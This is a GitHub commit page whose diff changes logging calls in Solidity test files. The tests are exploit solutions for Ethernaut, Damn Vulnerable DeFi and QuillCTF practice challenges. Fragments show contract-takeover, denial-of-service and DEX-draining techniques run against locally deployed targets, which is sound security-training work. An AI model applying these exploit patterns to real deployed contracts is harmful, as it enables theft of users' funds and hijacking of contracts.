Skip to content

Commit

Permalink
chore: remove use of console2.log in favour of console.log
Browse files Browse the repository at this point in the history
  • Loading branch information
leovct committed Oct 7, 2024
1 parent 11b184c commit 249c1f5
Show file tree
Hide file tree
Showing 39 changed files with 394 additions and 255 deletions.
2 changes: 0 additions & 2 deletions src/QuillCTF/TrueXOR.sol
Original file line number Diff line number Diff line change
@@ -1,8 +1,6 @@
// SPDX-License-Identifier: GPL-3.0
pragma solidity ^0.8.0;

import '@forge-std/console2.sol';

interface IBoolGiver {
// @audit The function is `view` so it can't modify the state.
function giveBool() external view returns (bool);
Expand Down
4 changes: 2 additions & 2 deletions test/DamnVulnerableDefiV4/UnstoppableExploit.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ import {DamnValuableToken} from '@damn-vulnerable-defi-v4/DamnValuableToken.sol'
import {UnstoppableVault, Owned} from '@damn-vulnerable-defi-v4/unstoppable/UnstoppableVault.sol';
import {UnstoppableMonitor} from '@damn-vulnerable-defi-v4/unstoppable/UnstoppableMonitor.sol';
import '@forge-std/Test.sol';
import '@forge-std/console2.sol';
import '@forge-std/console.sol';

contract UnstoppableExploit is Test {
DamnValuableToken token;
Expand All @@ -21,7 +21,7 @@ contract UnstoppableExploit is Test {
_owner: deployer,
_feeRecipient: deployer
});
console2.log('Target contract deployed');
console.log('Target contract deployed');
vm.stopPrank();
}

Expand Down
8 changes: 4 additions & 4 deletions test/EthernautCTF/AlienCodexExploit.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -2,7 +2,7 @@
pragma solidity ^0.8.0;

import '@forge-std/Test.sol';
import '@forge-std/console2.sol';
import '@forge-std/console.sol';

contract AlienCodexExploit is Test {
address deployer = makeAddr('deployer');
Expand All @@ -22,7 +22,7 @@ contract AlienCodexExploit is Test {
assembly {
targetAddress := create(0, add(bytecode, 0x20), mload(bytecode))
}
console2.log('Target contract deployed');
console.log('Target contract deployed');
vm.stopPrank();

// Check that the current owner is the deployer.
Expand All @@ -35,7 +35,7 @@ contract AlienCodexExploit is Test {
owner = abi.decode(returnData, (address));
}
assertEq(owner, deployer);
console2.log('Current owner: %s', owner);
console.log('Current owner: %s', owner);

// Perform the exploit.
// The AlienCodex contract inherits the storage of the Ownable contract.
Expand Down Expand Up @@ -98,6 +98,6 @@ contract AlienCodexExploit is Test {
owner = abi.decode(returnData, (address));
}
assertEq(owner, exploiter);
console2.log('New owner: %s', owner);
console.log('New owner: %s', owner);
}
}
10 changes: 5 additions & 5 deletions test/EthernautCTF/CoinFlipExploit.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ pragma solidity ^0.8.0;

import '../../src/EthernautCTF/CoinFlip.sol';
import '@forge-std/Test.sol';
import '@forge-std/console2.sol';
import '@forge-std/console.sol';

contract CoinFlipExploit is Test {
CoinFlip target;
Expand All @@ -13,13 +13,13 @@ contract CoinFlipExploit is Test {
function setUp() public {
vm.startPrank(deployer);
target = new CoinFlip();
console2.log('Target contract deployed');
console.log('Target contract deployed');
vm.stopPrank();
}

function testExploit() public {
uint256 wins = target.consecutiveWins();
console2.log('Consecutive wins: %d', wins);
console.log('Consecutive wins: %d', wins);
assertEq(wins, 0);

// Guess the outcome of the coin a few times.
Expand All @@ -37,12 +37,12 @@ contract CoinFlipExploit is Test {
uint256 coinFlip = blockValue / factor;
bool guess = coinFlip == 1 ? true : false;
assertTrue(target.flip(guess));
console2.log('Good guess!');
console.log('Good guess!');
wins = target.consecutiveWins();
}

wins = target.consecutiveWins();
console2.log('Consecutive wins: %d', wins);
console.log('Consecutive wins: %d', wins);
assertEq(wins, 10);
}
}
8 changes: 4 additions & 4 deletions test/EthernautCTF/DelegationExploit.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ pragma solidity ^0.8.0;

import '../../src/EthernautCTF/Delegation.sol';
import '@forge-std/Test.sol';
import '@forge-std/console2.sol';
import '@forge-std/console.sol';

contract DelegationExploit is Test {
Delegation target;
Expand All @@ -14,13 +14,13 @@ contract DelegationExploit is Test {
function setUp() public {
vm.startPrank(deployer);
target = new Delegation(delegate);
console2.log('Target contract deployed');
console.log('Target contract deployed');
vm.stopPrank();
}

function testExploit() public {
address owner = target.owner();
console2.log('Current owner: %s', owner);
console.log('Current owner: %s', owner);
assertEq(owner, deployer);

vm.startPrank(exploiter);
Expand All @@ -32,7 +32,7 @@ contract DelegationExploit is Test {
vm.stopPrank();

owner = target.owner();
console2.log('New owner: %s', owner);
console.log('New owner: %s', owner);
assertEq(owner, exploiter);
}
}
12 changes: 6 additions & 6 deletions test/EthernautCTF/DenialExploit.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ pragma solidity ^0.8.0;

import '../../src/EthernautCTF/Denial.sol';
import '@forge-std/Test.sol';
import '@forge-std/console2.sol';
import '@forge-std/console.sol';

contract Helper {
receive() external payable {
Expand All @@ -22,7 +22,7 @@ contract DenialExploit is Test {
vm.startPrank(deployer);
// Deploy the contract.
target = new Denial();
console2.log('Target contract deployed');
console.log('Target contract deployed');

// Fund the contract.
vm.deal(deployer, 100 ether);
Expand All @@ -35,17 +35,17 @@ contract DenialExploit is Test {
// Set up the DoS contract.
vm.startPrank(exploiter);
Helper helper = new Helper();
console2.log('DoS contract deployed');
console.log('DoS contract deployed');
target.setWithdrawPartner(address(helper));
console2.log('DoS contract set as a withdrawal partner');
console.log('DoS contract set as a withdrawal partner');
vm.stopPrank();

// Attempt to withdraw funds.
vm.startPrank(deployer);
console2.log('The owner tries to withdraw his funds');
console.log('The owner tries to withdraw his funds');
vm.expectRevert();
target.withdraw{gas: 10 ** 6}();
console2.log('The withdrawal attempt reverted');
console.log('The withdrawal attempt reverted');
vm.stopPrank();
}
}
26 changes: 13 additions & 13 deletions test/EthernautCTF/DexExploit.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -4,7 +4,7 @@ pragma solidity ^0.8.0;
import '../../src/EthernautCTF/Dex.sol';
import '@openzeppelin-08/utils/math/Math.sol';
import '@forge-std/Test.sol';
import '@forge-std/console2.sol';
import '@forge-std/console.sol';

contract DexExploit is Test {
Dex target;
Expand All @@ -16,21 +16,21 @@ contract DexExploit is Test {
function setUp() public {
vm.startPrank(deployer);
target = new Dex();
console2.log('Dex contract deployed');
console.log('Dex contract deployed');

token1 = new SwappableToken(address(target), 'TOKEN1', 'T1', 10_000);
token2 = new SwappableToken(address(target), 'TOKEN2', 'T2', 10_000);
target.setTokens(address(token1), address(token2));
console2.log('Tokens deployed and set in the Dex');
console.log('Tokens deployed and set in the Dex');

target.approve(address(target), 100);
target.addLiquidity(address(token1), 100);
target.addLiquidity(address(token2), 100);
console2.log('Liquidity added to the Dex contract');
console.log('Liquidity added to the Dex contract');

token1.transfer(address(exploiter), 10);
token2.transfer(address(exploiter), 10);
console2.log('Tokens sent to the exploiter');
console.log('Tokens sent to the exploiter');
vm.stopPrank();
}

Expand Down Expand Up @@ -83,8 +83,8 @@ contract DexExploit is Test {
token1AmountToSwap = Math.min(dexToken1Balance, exploiterToken1Balance);
if (token1AmountToSwap != 0) {
target.swap(address(token1), address(token2), token1AmountToSwap);
console2.log(''); // break line
console2.log('Swapped %d TOKEN1 for TOKEN2', token1AmountToSwap);
console.log(''); // break line
console.log('Swapped %d TOKEN1 for TOKEN2', token1AmountToSwap);
getDexBalances();
getExploiterBalances();
}
Expand All @@ -97,19 +97,19 @@ contract DexExploit is Test {
token2AmountToSwap = Math.min(dexToken2Balance, exploiterToken2Balance);
if (token2AmountToSwap != 0) {
target.swap(address(token2), address(token1), token2AmountToSwap);
console2.log(''); // break line
console2.log('Swapped %d TOKEN2 for TOKEN1', token2AmountToSwap);
console.log(''); // break line
console.log('Swapped %d TOKEN2 for TOKEN1', token2AmountToSwap);
getDexBalances();
getExploiterBalances();
}
}

// Check that the exploit worked.
console2.log(''); // break line
console.log(''); // break line
(dexToken1Balance, dexToken2Balance) = getDexBalances();
assertTrue(dexToken1Balance == 0 || dexToken2Balance == 0);
getExploiterBalances();
console2.log('At least one of the tokens was drained in the Dex contract');
console.log('At least one of the tokens was drained in the Dex contract');

vm.stopPrank();
}
Expand All @@ -118,7 +118,7 @@ contract DexExploit is Test {
(uint256 token1Balance, uint256 token2Balance) = getBalances(
address(target)
);
console2.log(
console.log(
'Checking Dex balances: TOKEN1=%d TOKEN2=%d',
token1Balance,
token2Balance
Expand All @@ -128,7 +128,7 @@ contract DexExploit is Test {

function getExploiterBalances() public view returns (uint256, uint256) {
(uint256 token1Balance, uint256 token2Balance) = getBalances(exploiter);
console2.log(
console.log(
'Checking exploiter balances: TOKEN1=%d TOKEN2=%d',
token1Balance,
token2Balance
Expand Down
28 changes: 14 additions & 14 deletions test/EthernautCTF/DexTwoExploit.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -5,7 +5,7 @@ import '../../src/EthernautCTF/DexTwo.sol';
import '@openzeppelin-08/token/ERC20/ERC20.sol';
import '@openzeppelin-08/utils/math/Math.sol';
import '@forge-std/Test.sol';
import '@forge-std/console2.sol';
import '@forge-std/console.sol';

contract HelperToken is ERC20 {
constructor(uint256 _value) ERC20('TOKEN3', 'T3') {
Expand All @@ -23,21 +23,21 @@ contract DexTwoEploit is Test {
function setUp() public {
vm.startPrank(deployer);
target = new DexTwo();
console2.log('Dex contract deployed');
console.log('Dex contract deployed');

token1 = new SwappableTokenTwo(address(target), 'TOKEN1', 'T1', 10_000);
token2 = new SwappableTokenTwo(address(target), 'TOKEN2', 'T2', 10_000);
target.setTokens(address(token1), address(token2));
console2.log('Tokens deployed and set in the Dex');
console.log('Tokens deployed and set in the Dex');

target.approve(address(target), 100);
target.addLiquidity(address(token1), 100);
target.addLiquidity(address(token2), 100);
console2.log('Liquidity added to the Dex contract');
console.log('Liquidity added to the Dex contract');

token1.transfer(address(exploiter), 10);
token2.transfer(address(exploiter), 10);
console2.log('Tokens sent to the exploiter');
console.log('Tokens sent to the exploiter');
vm.stopPrank();
}

Expand All @@ -56,29 +56,29 @@ contract DexTwoEploit is Test {
vm.startPrank(exploiter);
ERC20 helperToken = new HelperToken(200);
helperToken.approve(address(target), 10);
console2.log('Helper token deployed');
console.log('Helper token deployed');

helperToken.transfer(address(target), 1);
// swapAmount = 1 * 100 / 1 = 100 with amount = 1
target.swap(address(helperToken), address(token1), 1);
console2.log(''); // break line
console2.log('Token1 drained');
console.log(''); // break line
console.log('Token1 drained');
getDexBalances();
getExploiterBalances();

// swapAmount = 2 * 100 / 2 = 100 with amount = 2
target.swap(address(helperToken), address(token2), 2);
console2.log(''); // break line
console2.log('Token2 drained');
console.log(''); // break line
console.log('Token2 drained');
getDexBalances();
getExploiterBalances();

// Check that the exploit worked.
console2.log(''); // break line
console.log(''); // break line
(dexToken1Balance, dexToken2Balance) = getDexBalances();
assertEq(dexToken1Balance, 0);
assertEq(dexToken2Balance, 0);
console2.log('The two tokens were drained in the Dex contract');
console.log('The two tokens were drained in the Dex contract');
getExploiterBalances();

vm.stopPrank();
Expand All @@ -88,7 +88,7 @@ contract DexTwoEploit is Test {
(uint256 token1Balance, uint256 token2Balance) = getBalances(
address(target)
);
console2.log(
console.log(
'Checking Dex balances: TOKEN1=%d TOKEN2=%d',
token1Balance,
token2Balance
Expand All @@ -98,7 +98,7 @@ contract DexTwoEploit is Test {

function getExploiterBalances() public view returns (uint256, uint256) {
(uint256 token1Balance, uint256 token2Balance) = getBalances(exploiter);
console2.log(
console.log(
'Checking exploiter balances: TOKEN1=%d TOKEN2=%d',
token1Balance,
token2Balance
Expand Down
4 changes: 2 additions & 2 deletions test/EthernautCTF/ElevatorExploit.t.sol
Original file line number Diff line number Diff line change
Expand Up @@ -3,7 +3,7 @@ pragma solidity ^0.8.0;

import '../../src/EthernautCTF/Elevator.sol';
import '@forge-std/Test.sol';
import '@forge-std/console2.sol';
import '@forge-std/console.sol';

contract Helper is Building {
Elevator elevator;
Expand Down Expand Up @@ -31,7 +31,7 @@ contract ElevatorExploit is Test {
function setUp() public {
vm.startPrank(deployer);
target = new Elevator();
console2.log('Target contract deployed');
console.log('Target contract deployed');
vm.stopPrank();
}

Expand Down
Loading

0 comments on commit 249c1f5

Please sign in to comment.